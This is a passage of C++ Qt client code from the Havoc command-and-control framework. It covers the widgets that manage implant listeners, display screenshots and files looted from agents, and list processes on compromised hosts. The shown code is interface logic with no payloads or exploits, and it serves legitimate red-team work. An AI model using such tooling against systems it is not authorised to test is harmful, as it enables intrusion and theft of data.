) -> bool { auto Iterator = QTreeWidgetItemIterator( FileBrowserTree ); auto Item = ( ( FileBrowserTreeItem* ) nullptr ); while ( *Iterator ) { Item = ( ( FileBrowserTreeItem* ) ( *Iterator ) ); if ( ( Item->ParentPath.compare( Path ) == 0 ) ) return true; ++Iterator; } return false; } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/ListenersTable.cc000066400000000000000000000336641467014221700267440ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include void HavocNamespace::UserInterface::Widgets::ListenersTable::setupUi( QWidget* Form ) { this->ListenerWidget = Form; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8( "ListenerTable" ) ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); gridLayout->setContentsMargins( 0, 0, 0, 3 ); buttonAdd = new QPushButton( Form ); buttonAdd->setObjectName( QString::fromUtf8( "pushButton_New_Profile" ) ); gridLayout->addWidget( buttonAdd, 1, 1, 1, 1 ); buttonRemove = new QPushButton( Form ); buttonRemove->setObjectName( QString::fromUtf8( "pushButton_Close" ) ); gridLayout->addWidget( buttonRemove, 1, 2, 1, 1 ); buttonEdit = new QPushButton( Form ); buttonEdit->setObjectName( QString::fromUtf8( "pushButton_4" ) ); gridLayout->addWidget( buttonEdit, 1, 3, 1, 1 ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer_2, 1, 4, 1, 1 ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer, 1, 0, 1, 1 ); tableWidget = new QTableWidget( Form ); if ( tableWidget->columnCount() < 5 ) tableWidget->setColumnCount( 5 ); tableWidget->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); tableWidget->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Protocol" ) ); tableWidget->setHorizontalHeaderItem( 2, new QTableWidgetItem( "Host" ) ); tableWidget->setHorizontalHeaderItem( 3, new QTableWidgetItem( "PortBind" ) ); tableWidget->setHorizontalHeaderItem( 4, new QTableWidgetItem( "PortConn" ) ); tableWidget->setHorizontalHeaderItem( 5, new QTableWidgetItem( "Status" ) ); tableWidget->setObjectName( QString::fromUtf8( "tableWidget" ) ); tableWidget->setMouseTracking( false ); tableWidget->setContextMenuPolicy( Qt::ActionsContextMenu ); tableWidget->setAutoFillBackground( false ); tableWidget->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); tableWidget->setShowGrid( false ); tableWidget->setSortingEnabled( false ); tableWidget->setWordWrap( true ); tableWidget->setCornerButtonEnabled( true ); tableWidget->horizontalHeader()->setVisible( true ); tableWidget->horizontalHeader()->setCascadingSectionResizes( false ); tableWidget->horizontalHeader()->setHighlightSections( false ); tableWidget->verticalHeader()->setVisible( false ); tableWidget->setSelectionBehavior( QAbstractItemView::SelectRows ); tableWidget->setSelectionMode( QAbstractItemView::SingleSelection ); tableWidget->verticalHeader()->setDefaultSectionSize( 12 ); tableWidget->setFocusPolicy( Qt::NoFocus ); gridLayout->addWidget( tableWidget, 0, 0, 1, 6 ); Form->setWindowTitle( QCoreApplication::translate( "Form", "Listener", nullptr ) ); buttonAdd->setText( QCoreApplication::translate(" Form", "Add", nullptr ) ); buttonEdit->setText( QCoreApplication::translate( "Form", "Edit", nullptr ) ); buttonRemove->setText( QCoreApplication::translate( "Form", "Remove", nullptr ) ); ButtonsInit(); QMetaObject::connectSlotsByName( Form ); } void HavocNamespace::UserInterface::Widgets::ListenersTable::ButtonsInit() { QObject::connect( buttonAdd, &QPushButton::clicked, this, [&]() { auto ListenerDialog = new UserInterface::Dialogs::NewListener( new QDialog ); auto ListenerInfo = MapStrStr(); /* add custom listeners to it. */ for ( const auto& listenerService : HavocX::Teamserver.RegisteredListeners ) ListenerDialog->ListenerCustomAdd( listenerService.dump().c_str() ); ListenerInfo = ListenerDialog->Start( {}, false ); if ( ListenerDialog->DialogSaved ) { if ( ! ListenerInfo.empty() ) { auto Package = CreateNewPackage( Util::Packager::Listener::Add, ListenerInfo ); HavocX::Connector->SendPackage( &Package ); } } } ); QObject::connect( buttonEdit, &QPushButton::clicked, this, [&]() { if ( tableWidget->selectionModel()->selectedRows().empty() ) { MessageBox( "Listener Error", "Select one listener to edit", QMessageBox::Icon::Critical ); return; } auto ListenerName = QString(); auto ListenerItem = Util::ListenerItem{}; auto ListenerDialog = ( UserInterface::Dialogs::NewListener* ) nullptr; auto ListenerInfo = MapStrStr(); ListenerName = tableWidget->item( tableWidget->currentRow(), 0 )->text(); for ( auto& listener : HavocX::Teamserver.Listeners ) { if ( listener.Name == ListenerName.toStdString() ) { ListenerItem = listener; break; } } ListenerDialog = new UserInterface::Dialogs::NewListener( new QDialog ); /* add custom listeners to it. */ for ( const auto& listenerService : HavocX::Teamserver.RegisteredListeners ) ListenerDialog->ListenerCustomAdd( listenerService.dump().c_str() ); ListenerInfo = ListenerDialog->Start( ListenerItem, true ); if ( ListenerDialog->DialogSaved ) { if ( ! ListenerInfo.empty() ) { auto Package = CreateNewPackage( Util::Packager::Listener::Edit, ListenerInfo ); HavocX::Connector->SendPackage( &Package ); } } delete ListenerDialog; } ); QObject::connect( buttonRemove, &QPushButton::clicked, this, [&]() { if ( tableWidget->selectionModel()->selectedRows().empty() ) { MessageBox( "Listener Error", "Select one listener to remove", QMessageBox::Icon::Critical ); return; } auto Name = tableWidget->item( tableWidget->currentRow(), 0 )->text().toStdString(); tableWidget->removeRow( tableWidget->currentRow() ); for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ ) { if ( HavocX::Teamserver.Listeners[ i ].Name == Name ) { HavocX::Teamserver.Listeners.erase( HavocX::Teamserver.Listeners.begin() + i ); } } auto Info = map(); Info.insert( { "Name", Name } ); auto Package = CreateNewPackage( Util::Packager::Listener::Remove, Info ); HavocX::Connector->SendPackage( &Package ); } ); } void HavocNamespace::UserInterface::Widgets::ListenersTable::ListenerAdd( Util::ListenerItem item ) const { for ( auto& listener : HavocX::Teamserver.Listeners ) { if ( listener.Name.compare( item.Name ) == 0 ) { return; } } if ( tableWidget->rowCount() < 1 ) tableWidget->setRowCount( 1 ); else tableWidget->setRowCount( tableWidget->rowCount() + 1 ); const bool isSortingEnabled = tableWidget->isSortingEnabled(); tableWidget->setSortingEnabled( false ); auto item_Name = new QTableWidgetItem(); auto item_Protocol = new QTableWidgetItem(); auto item_Host = new QTableWidgetItem(); auto item_PortBind = new QTableWidgetItem(); auto item_PortConn = new QTableWidgetItem(); auto item_Status = new QTableWidgetItem(); item_Name->setText( item.Name.c_str() ); item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable ); item_Name->setTextAlignment( Qt::AlignLeft ); item_Protocol->setText( item.Protocol.c_str() ); item_Protocol->setFlags( item_Protocol->flags() ^ Qt::ItemIsEditable ); item_Protocol->setTextAlignment( Qt::AlignLeft ); if ( item.Protocol == Listener::PayloadSMB.toStdString() ) { item_Host->setText( R"(\\.\pipe\)" + any_cast(item.Info).PipeName ); } else if ( item.Protocol == Listener::PayloadHTTP.toStdString() || item.Protocol == Listener::PayloadHTTPS.toStdString() ) { item_Host->setText( any_cast( item.Info ).HostBind ); item_PortBind->setText( any_cast( item.Info ).PortBind ); if ( any_cast( item.Info ).PortConn == "0" ) item_PortConn->setText( any_cast( item.Info ).PortBind ); else item_PortConn->setText( any_cast( item.Info ).PortConn ); } else if ( item.Protocol == Listener::PayloadExternal.toStdString() ) { item_Host->setText( any_cast( item.Info ).Endpoint ); } else { auto Host = QString(); auto PortBind = QString(); auto PortConn = QString(); Host = QString( any_cast( any_cast( item.Info ) )[ "Host" ].c_str() ); PortBind = QString( any_cast( any_cast( item.Info ) )[ "PortBind" ].c_str() ); PortConn = QString( any_cast( any_cast( item.Info ) )[ "PortConn" ].c_str() ); item_Host->setText( Host ); item_PortBind->setText( PortBind ); if ( PortConn == "0" ) item_PortConn->setText( PortBind ); else item_PortConn->setText( PortConn ); } item_Host->setFlags( item_Host->flags() ^ Qt::ItemIsEditable ); item_Host->setTextAlignment( Qt::AlignLeft ); item_PortBind->setFlags( item_PortBind->flags() ^ Qt::ItemIsEditable ); item_PortBind->setTextAlignment( Qt::AlignLeft ); item_PortConn->setFlags( item_PortConn->flags() ^ Qt::ItemIsEditable ); item_PortConn->setTextAlignment( Qt::AlignLeft ); item_Status->setText( item.Status.c_str() ); item_Status->setFlags( item_Status->flags() ^ Qt::ItemIsEditable ); item_Status->setTextAlignment( Qt::AlignLeft ); if ( item.Status.compare( "Online" ) == 0 ) { item_Status->setForeground( QColor( Util::ColorText::Colors::Hex::Green ) ); } else if ( item.Status.compare( "Offline" ) == 0 ) { item_Status->setForeground( QColor( Util::ColorText::Colors::Hex::Red ) ); } tableWidget->setItem( tableWidget->rowCount() - 1, 0, item_Name ); tableWidget->setItem( tableWidget->rowCount() - 1, 1, item_Protocol ); tableWidget->setItem( tableWidget->rowCount() - 1, 2, item_Host ); tableWidget->setItem( tableWidget->rowCount() - 1, 3, item_PortBind ); tableWidget->setItem( tableWidget->rowCount() - 1, 4, item_PortConn ); tableWidget->setItem( tableWidget->rowCount() - 1, 5, item_Status ); tableWidget->setSortingEnabled( isSortingEnabled ); std::string Protocol = item.Protocol; std::transform( Protocol.begin(), Protocol.end(), Protocol.begin(), ::tolower ); HavocX::Teamserver.Listeners.push_back( item ); } void HavocNamespace::UserInterface::Widgets::ListenersTable::setDBManager( HavocSpace::DBManager* dbManager ) { this->dbManager = dbManager; } Util::Packager::Package UserInterface::Widgets::ListenersTable::CreateNewPackage( int EventID, map Listener ) const { Util::Packager::Package ListenerPackage; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Listener::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; Util::Packager::Body_t Body; auto BodyInfo = QMap( Listener ); Body.SubEvent = EventID; Body.Info = BodyInfo; ListenerPackage.Head = Head; ListenerPackage.Body = Body; return ListenerPackage; } void UserInterface::Widgets::ListenersTable::ListenerEdit( Util::ListenerItem item ) const { for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ ) { if ( HavocX::Teamserver.Listeners[ i ].Name == item.Name ) { HavocX::Teamserver.Listeners[ i ].Info = item.Info; } } } void UserInterface::Widgets::ListenersTable::ListenerRemove( QString ListenerName ) const { auto Name = QString(); if ( ! ListenerName.isEmpty() ) { if ( tableWidget->rowCount() > 0 ) { for ( int i = 0; i < tableWidget->rowCount(); i++ ) { Name = tableWidget->item( i, 0 )->text(); if ( Name.compare( ListenerName ) == 0 ) { spdlog::debug( "Remove listener from table" ); tableWidget->removeRow( i ); } } } if ( ! HavocX::Teamserver.Listeners.empty() ) { for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ ) { if ( HavocX::Teamserver.Listeners[ i ].Name == ListenerName.toStdString() ) { spdlog::debug( "Remove listener from list" ); HavocX::Teamserver.Listeners.erase( HavocX::Teamserver.Listeners.begin() + i ); } } } } } void UserInterface::Widgets::ListenersTable::ListenerError( QString ListenerName, QString Error ) const { for ( int i = 0; i < tableWidget->rowCount(); i++ ) { auto Row = tableWidget->item( i, 0 )->text(); if ( Row.compare( ListenerName ) == 0 ) { for ( int j = 0; j < tableWidget->columnCount(); j++ ) { tableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); tableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Red ) ); tableWidget->item( i, j )->setToolTip( Error ); } tableWidget->item( i, 4 )->setText( "Offline [" + Error + " ]" ); } } } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/LootWidget.cc000066400000000000000000000342551467014221700261020ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include // imagelabel.cpp ImageLabel::ImageLabel( QWidget* parent ) : QWidget( parent ) { label = new QLabel; scrollArea = new QScrollArea( this ); label->setBackgroundRole( QPalette::Base ); label->setSizePolicy( QSizePolicy::Ignored, QSizePolicy::Ignored ); label->setScaledContents( true ); label->setStyleSheet( "background-color: #282a36;\n" " color: #f8f8f2;" ); label->setPixmap( QPixmap() ); scrollArea->setBackgroundRole(QPalette::Dark); scrollArea->setWidget( label ); } void ImageLabel::resizeEvent( QResizeEvent* event ) { QWidget::resizeEvent( event ); resizeImage(); } const QPixmap* ImageLabel::pixmap() const { return label->pixmap(); } bool ImageLabel::event( QEvent* e ) { if ( e->type() == e->KeyPress ) { auto eventKey = dynamic_cast( e ); if ( eventKey->key() == Qt::Key_Control ) { // spdlog::info( "Key_Control pressed" ); key_ctrl = false; } } return QWidget::event( e ); } void ImageLabel::keyReleaseEvent( QKeyEvent* event ) { if ( event->key() == Qt::Key_Control ) { // spdlog::info( "Key_Control released" ); key_ctrl = true; } QWidget::keyReleaseEvent( event ); } void ImageLabel::wheelEvent( QWheelEvent* ev ) { // spdlog::info( "wheelEvent: {}", ev->angleDelta().y() ); QWidget::wheelEvent( ev ); } void ImageLabel::setPixmap( const QPixmap &pixmap ) { label->setPixmap( pixmap ); scrollArea->setWidget( label ); resizeImage(); } void ImageLabel::resizeImage() { label->setMinimumSize( size() ); label->adjustSize(); scrollArea->resize( size() ); } LootWidget::LootWidget() { if ( objectName().isEmpty() ) setObjectName( QString::fromUtf8( "LootWidget" ) ); auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); gridLayout = new QGridLayout( this ); gridLayout->setContentsMargins( 0, 0, 0, 0 ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); LabelShow = new QLabel( this ); LabelShow->setObjectName( QString::fromUtf8( "LabelShow" ) ); gridLayout->addWidget( LabelShow, 0, 3, 1, 1 ); ComboShow = new QComboBox( this ); ComboShow->addItem( QString( "Screenshots" ) ); ComboShow->addItem( QString( "Downloads" ) ); ComboShow->setObjectName( QString::fromUtf8( "ComboShow" ) ); ComboShow->setMinimumSize( QSize( 150, 0 ) ); gridLayout->addWidget( ComboShow, 0, 4, 1, 1 ); LabelAgentID = new QLabel( this ); LabelAgentID->setObjectName( QString::fromUtf8( "LabelAgentID" ) ); LabelAgentID->setText( "AgentID: " ); gridLayout->addWidget( LabelAgentID, 0, 1, 1, 1 ); ComboAgentID = new QComboBox( this ); ComboAgentID->setObjectName( QString::fromUtf8( "ComboAgentID" ) ); ComboAgentID->setMinimumSize( QSize( 150, 0 ) ); gridLayout->addWidget( ComboAgentID, 0, 2, 1, 1 ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer, 0, 0, 1, 1 ); StackWidget = new QStackedWidget( this ); StackWidget->setObjectName( QString::fromUtf8( "StackWidget" ) ); StackWidget->setContentsMargins( 0, 0, 0, 0 ); Screenshots = new QWidget(); Screenshots->setSizePolicy( QSizePolicy::Ignored, QSizePolicy::Ignored ); Screenshots->setObjectName( QString::fromUtf8( "Screenshots" ) ); gridLayout_2 = new QGridLayout( Screenshots ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); splitter = new QSplitter( Screenshots ); splitter->setObjectName( QString::fromUtf8( "splitter" ) ); splitter->setOrientation( Qt::Horizontal ); splitter->setSizes( QList() << 10 << 200 ); ScreenshotTable = new QTableWidget( splitter ); if ( ScreenshotTable->columnCount() < 2 ) ScreenshotTable->setColumnCount( 2 ); ScreenshotTable->setEnabled( true ); ScreenshotTable->setShowGrid( false ); ScreenshotTable->setSortingEnabled( false ); ScreenshotTable->setWordWrap( true ); ScreenshotTable->setCornerButtonEnabled( true ); ScreenshotTable->horizontalHeader()->setVisible( true ); ScreenshotTable->setSelectionBehavior( QAbstractItemView::SelectRows ); ScreenshotTable->setContextMenuPolicy( Qt::CustomContextMenu ); ScreenshotTable->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); ScreenshotTable->verticalHeader()->setVisible(false); ScreenshotTable->verticalHeader()->setStretchLastSection( false ); ScreenshotTable->verticalHeader()->setDefaultSectionSize( 12 ); ScreenshotTable->setFocusPolicy( Qt::NoFocus ); ScreenshotTable->setObjectName( QString::fromUtf8( "ScreenshotTable" ) ); splitter->addWidget( ScreenshotTable ); ScreenshotImage = new ImageLabel( splitter ); ScreenshotImage->setObjectName( QString::fromUtf8( "ScreenshotImage" ) ); splitter->addWidget( ScreenshotImage ); gridLayout_2->addWidget(splitter, 0, 0, 1, 1); StackWidget->addWidget( Screenshots ); Downloads = new QWidget(); Downloads->setObjectName(QString::fromUtf8("Downloads")); gridLayout_3 = new QGridLayout( Downloads ); gridLayout_3->setObjectName(QString::fromUtf8("gridLayout_3")); DownloadTable = new QTableWidget( Downloads ); if ( DownloadTable->columnCount() < 3 ) DownloadTable->setColumnCount( 3 ); DownloadTable->setEnabled( true ); DownloadTable->setShowGrid( false ); DownloadTable->setSortingEnabled( false ); DownloadTable->setWordWrap( true ); DownloadTable->setCornerButtonEnabled( true ); DownloadTable->horizontalHeader()->setVisible( true ); DownloadTable->setSelectionBehavior( QAbstractItemView::SelectRows ); DownloadTable->setContextMenuPolicy( Qt::CustomContextMenu ); DownloadTable->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); DownloadTable->verticalHeader()->setVisible(false); DownloadTable->verticalHeader()->setStretchLastSection( false ); DownloadTable->verticalHeader()->setDefaultSectionSize( 12 ); DownloadTable->setFocusPolicy( Qt::NoFocus ); DownloadTable->setObjectName( QString::fromUtf8( "DownloadsTable" ) ); gridLayout_3->addWidget( DownloadTable, 0, 0, 1, 1 ); StackWidget->addWidget( Downloads ); gridLayout->addWidget( StackWidget, 1, 0, 1, 6 ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer_2, 0, 5, 1, 1 ); StackWidget->setCurrentIndex( 0 ); ScreenshotTable->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); ScreenshotTable->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Date" ) ); DownloadTable->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); DownloadTable->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Size" ) ); DownloadTable->setHorizontalHeaderItem( 2, new QTableWidgetItem( "Date" ) ); LabelShow->setText( "Show: " ); ScreenshotMenu = new QMenu( this ); ScreenshotActionDownload = new QAction( "Download" ); ScreenshotMenu->setStyleSheet( MenuStyle ); ScreenshotMenu->addAction( ScreenshotActionDownload ); connect( this, &QTableWidget::customContextMenuRequested, this, &LootWidget::onScreenshotTableCtx ); connect( ScreenshotTable, &QTableWidget::clicked, this, &LootWidget::onScreenshotTableClick ); connect( DownloadTable, &QTableWidget::clicked, this, &LootWidget::onDownloadTableClick ); connect( splitter, &QSplitter::splitterMoved, ScreenshotImage, &ImageLabel::resizeImage ); connect( ComboAgentID, &QComboBox::currentTextChanged, this, &LootWidget::onAgentChange ); connect( ComboShow, &QComboBox::currentTextChanged, this, &LootWidget::onShowChange ); Reload(); QMetaObject::connectSlotsByName( this ); } void LootWidget::AddScreenshot( const QString& DemonID, const QString& Name, const QString& Date, const QByteArray& Data ) { spdlog::info( "Add Screenshot" ); auto Item = LootData{ .Type = LOOT_IMAGE, .AgentID = DemonID, .Data = { .Name = Name, .Date = Date, .Data = Data, }, }; LootItems.push_back( Item ); if ( ComboAgentID->currentText().compare( DemonID ) == 0 || ComboAgentID->currentText().compare( "[ All ]" ) == 0 ) ScreenshotTableAdd( Name, Date ); } void LootWidget::AddDownload( const QString &DemonID, const QString &Name, const QString& Size, const QString &Date, const QByteArray &Data ) { auto Item = LootData{ .Type = LOOT_FILE, .AgentID = DemonID, .Data = { .Name = Name, .Date = Date, .Size = Size, .Data = Data, }, }; LootItems.push_back( Item ); if ( ComboAgentID->currentText().compare( DemonID ) == 0 || ComboAgentID->currentText().compare( "[ All ]" ) == 0 ) DownloadTableAdd( Name, Size, Date ); } void LootWidget::Reload() { ComboAgentID->clear(); ComboAgentID->addItem( "[ All ]" ); for ( auto& Session : HavocX::Teamserver.Sessions ) ComboAgentID->addItem( Session.Name ); // TODO: iterate over table items and free memory ScreenshotTable->setRowCount( 0 ); DownloadTable->setRowCount( 0 ); } void LootWidget::onScreenshotTableClick( const QModelIndex &index ) { auto DemonID = ComboAgentID->currentText(); auto FileName = ScreenshotTable->item( index.row(), 0 )->text(); for ( auto& item : LootItems ) { if ( DemonID.compare( "[ All ]" ) == 0 || DemonID.compare( item.AgentID ) == 0 ) { if ( item.Type == LOOT_IMAGE ) { if ( item.Data.Name.compare( FileName ) == 0 ) { auto image = QPixmap(); if ( image.loadFromData( item.Data.Data, "BMP" ) ) { ScreenshotImage->setPixmap( image ); } } } } } } void LootWidget::onDownloadTableClick( const QModelIndex &index ) { } void LootWidget::onAgentChange( const QString& text ) { ScreenshotImage->setPixmap( QPixmap() ); // todo: free columns items for ( int i = ScreenshotTable->rowCount(); i >= 0; i-- ) ScreenshotTable->removeRow( i ); for ( auto& item : LootItems ) { if ( item.AgentID.compare( text ) == 0 || text.compare( "[ All ]" ) == 0 ) { switch ( item.Type ) { case LOOT_IMAGE: { ScreenshotTableAdd( item.Data.Name, item.Data.Date ); break; } case LOOT_FILE: { DownloadTableAdd( item.Data.Name, item.Data.Size, item.Data.Date ); break; } } } } } void LootWidget::AddSessionSection( const QString& AgentID ) { for ( int index = 0; index < ComboAgentID->count(); index++ ) { if ( ComboAgentID->itemText( index ).compare( AgentID ) == 0 ) { return; } } ComboAgentID->addItem( AgentID ); } void LootWidget::onShowChange( const QString& text ) { if ( text.compare( "Screenshots" ) == 0 ) { StackWidget->setCurrentIndex( 0 ); } else if ( text.compare( "Downloads" ) == 0 ) { StackWidget->setCurrentIndex( 1 ); } } void LootWidget::ScreenshotTableAdd( const QString &Name, const QString &Date ) { for ( int i = 0; i < ScreenshotTable->rowCount(); i++ ) { if ( ScreenshotTable->item( i, 0 )->text().compare( Name ) == 0 ) { return; } } auto item_Name = new QTableWidgetItem( Name ); auto item_Date = new QTableWidgetItem( Date ); item_Name->setTextAlignment( Qt::AlignCenter ); item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable ); item_Date->setTextAlignment( Qt::AlignCenter ); item_Date->setFlags( item_Date->flags() ^ Qt::ItemIsEditable ); ScreenshotTable->rowCount() < 1 ? ScreenshotTable->setRowCount( 1 ) : ScreenshotTable->setRowCount( ScreenshotTable->rowCount() + 1 ); ScreenshotTable->setItem( ScreenshotTable->rowCount() - 1, 0, item_Name ); ScreenshotTable->setItem( ScreenshotTable->rowCount() - 1, 1, item_Date ); } void LootWidget::DownloadTableAdd( const QString &Name, const QString &Size, const QString &Date ) { auto item_Name = new QTableWidgetItem( Name ); auto item_Size = new QTableWidgetItem( Size ); auto item_Date = new QTableWidgetItem( Date ); item_Name->setTextAlignment( Qt::AlignCenter ); item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable ); item_Size->setTextAlignment( Qt::AlignCenter ); item_Size->setFlags( item_Size->flags() ^ Qt::ItemIsEditable ); item_Date->setTextAlignment( Qt::AlignCenter ); item_Date->setFlags( item_Date->flags() ^ Qt::ItemIsEditable ); DownloadTable->rowCount() < 1 ? DownloadTable->setRowCount( 1 ) : DownloadTable->setRowCount( DownloadTable->rowCount() + 1 ); DownloadTable->setItem( DownloadTable->rowCount() - 1, 0, item_Name ); DownloadTable->setItem( DownloadTable->rowCount() - 1, 1, item_Size ); DownloadTable->setItem( DownloadTable->rowCount() - 1, 2, item_Date ); } void LootWidget::onScreenshotTableCtx( const QPoint &pos ) { if ( ! ScreenshotTable->itemAt( pos ) ) return; ScreenshotMenu->popup( ScreenshotTable->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/ProcessList.cc000066400000000000000000000366631467014221700263000ustar00rootroot00000000000000#include #include #include void HavocNamespace::UserInterface::Widgets::ProcessList::setupUi(QWidget *Widget) { this->ProcessListWidget = Widget; QString MenuStyle = "QMenu {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" " border: 1px solid #44475a;\n" "}\n" "\n" "QMenu::separator {\n" " background: #44475a;\n" "}\n" "\n" "QMenu::item:selected {\n" " background: #44475a;\n" "}\n" "\n" "QAction {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" "}"; if (this->ProcessListWidget->objectName().isEmpty()) this->ProcessListWidget->setObjectName(QString::fromUtf8("ProcessListWidget")); this->ProcessListWidget->resize(1012, 535); gridLayout = new QGridLayout(this->ProcessListWidget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); splitter = new QSplitter(this->ProcessListWidget); splitter->setObjectName(QString::fromUtf8("splitter")); splitter->setOrientation(Qt::Horizontal); ProcessTree = new QTreeWidget(splitter); ProcessTree->setObjectName(QString::fromUtf8("ProcessTree")); ProcessTree->setAnimated(false); ProcessTree->header()->setVisible(false); ProcessTree->setContextMenuPolicy(Qt::CustomContextMenu); ProcessTree->setStyleSheet( "QTreeView::branch:has-siblings:!adjoins-item {\n" " border-image: url(:/treewidget/vline) 0;\n" "}\n" "\n" "QTreeView::branch:has-siblings:adjoins-item {\n" " border-image: url(:/treewidget/branch-more) 0;\n" "}\n" "\n" "QTreeView::branch:!has-children:!has-siblings:adjoins-item {\n" " border-image: url(:/treewidget/branch-end) 0;\n" "}\n" "\n" "QTreeView::branch:has-children:!has-siblings:closed,\n" "QTreeView::branch:closed:has-children:has-siblings {\n" " border-image: none;\n" " image: url(:/treewidget/branch-closed);\n" "}\n" "\n" "QTreeView::branch:open:has-children:!has-siblings,\n" "QTreeView::branch:open:has-children:has-siblings {\n" " border-image: none;\n" " image: url(:/treewidget/branch-open);\n" "}" "QMenu {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" " border: 1px solid #44475a;\n" "}\n" "\n" "QMenu::separator {\n" " background: #44475a;\n" "}\n" "\n" "QMenu::item:selected {\n" " background: #44475a;\n" "}\n" "\n" "QAction {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" "}"); splitter->addWidget(ProcessTree); ProcessTable = new QTableWidget(splitter); if (ProcessTable->columnCount() < 6) ProcessTable->setColumnCount(6); ProcessTable->setHorizontalHeaderItem(0, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(1, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(2, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(3, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(4, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(5, new QTableWidgetItem()); ProcessTable->setObjectName(QString::fromUtf8("ProcessTable")); QSizePolicy sizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding); sizePolicy.setHorizontalStretch(100); sizePolicy.setVerticalStretch(0); sizePolicy.setHeightForWidth(ProcessTable->sizePolicy().hasHeightForWidth()); ProcessTable->setSizePolicy(sizePolicy); splitter->addWidget(ProcessTable); ProcessTable->horizontalHeader()->setStretchLastSection(true); ProcessTable->setShowGrid(false); ProcessTable->setSortingEnabled(false); ProcessTable->setWordWrap(true); ProcessTable->setCornerButtonEnabled(true); ProcessTable->horizontalHeader()->setVisible(true); ProcessTable->horizontalHeader()->setCascadingSectionResizes(false); ProcessTable->horizontalHeader()->setHighlightSections(false); ProcessTable->verticalHeader()->setVisible(false); ProcessTable->verticalHeader()->setDefaultSectionSize(12); ProcessTable->setSelectionBehavior( QAbstractItemView::SelectRows ); ProcessTable->setSelectionMode( QAbstractItemView::SingleSelection ); ProcessTable->setContextMenuPolicy( Qt::CustomContextMenu ); gridLayout->addWidget(splitter, 0, 0, 1, 6); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer, 1, 0, 1, 1); pushButton_Refresh = new QPushButton(this->ProcessListWidget); pushButton_Refresh->setObjectName(QString::fromUtf8("pushButton_Refresh")); gridLayout->addWidget(pushButton_Refresh, 1, 1, 1, 1); /*pushButton_Kill = new QPushButton(this->ProcessListWidget); pushButton_Kill->setObjectName(QString::fromUtf8("pushButton_Kill")); gridLayout->addWidget(pushButton_Kill, 1, 2, 1, 1); pushButton_Steal_Token = new QPushButton(this->ProcessListWidget); pushButton_Steal_Token->setObjectName(QString::fromUtf8("pushButton_Steal_Token")); gridLayout->addWidget(pushButton_Steal_Token, 1, 3, 1, 1); // pushButton_Inject = new QPushButton(this->ProcessListWidget); // pushButton_Inject->setObjectName(QString::fromUtf8("pushButton_Inject")); // gridLayout->addWidget(pushButton_Inject, 1, 4, 1, 1);*/ horizontalSpacer_2 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_2, 1, 2, 1, 1); actionCopyProcessID = new QAction("Copy PID"); // actionSetAsParentProcess = new QAction("Set as Parent Process"); ProcessListMenu = new QMenu( this ); ProcessListMenu->setStyleSheet( MenuStyle ); ProcessListMenu->addAction( actionCopyProcessID ); // ProcessListMenu->addAction( actionSetAsParentProcess ); ProcessListWidget->setWindowTitle(QCoreApplication::translate("Process List", "Process List", nullptr)); ProcessTree->headerItem()->setText(0, QCoreApplication::translate("Process List", "Process Tree", nullptr)); ProcessTree->setSortingEnabled(false); ProcessTable->horizontalHeaderItem(0)->setText(QCoreApplication::translate("Process List", "Name", nullptr)); 